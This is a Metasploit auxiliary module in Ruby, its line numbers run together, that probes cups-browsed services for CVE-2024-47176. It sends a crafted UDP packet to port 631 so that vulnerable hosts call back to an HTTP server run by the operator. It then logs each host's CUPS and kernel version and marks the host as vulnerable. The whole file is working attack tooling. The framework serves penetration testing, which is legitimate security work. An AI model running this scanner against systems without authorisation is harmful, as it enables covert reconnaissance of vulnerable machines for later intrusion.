Path: blob/master/modules/auxiliary/scanner/misc/cups_browsed_info_disclosure.rb
24686 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Auxiliary::UDPScanner8include Msf::Exploit::Remote::HttpServer910def initialize11super(12'Name' => 'cups-browsed Information Disclosure',13'Description' => %q{14Retrieve CUPS version and kernel version information from cups-browsed services.15},16'Author' => [17'evilsocket', # discovery18'bcoles' # msf19],20'License' => MSF_LICENSE,21'References' => [22['CVE', '2024-47176'],23['URL', 'https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8' ],24['URL', 'https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/' ],25],26'DefaultOptions' => { 'RPORT' => 631 },27)28deregister_options('URIPATH')29end3031def build_probe32@probe ||= "0 3 #{get_uri}"33@probe34end3536def run37start_service('Path' => "/printers/#{Rex::Text.rand_text_alphanumeric(10..16)}")38super39end4041def on_request_uri(cli, request)42return if request.nil?4344info = request['User-Agent']4546return unless info.to_s.include?('CUPS')4748print_good("#{cli.peerhost}: #{info}")4950report_host(host: cli.peerhost)51report_service(52host: cli.peerhost,53proto: 'udp',54port: rport,55name: 'cups-browsed',56info: info57)58report_vuln({59host: cli.peerhost,60port: rport,61proto: 'udp',62name: 'cups-browsed Information Disclosure',63refs: references64})65end66end676869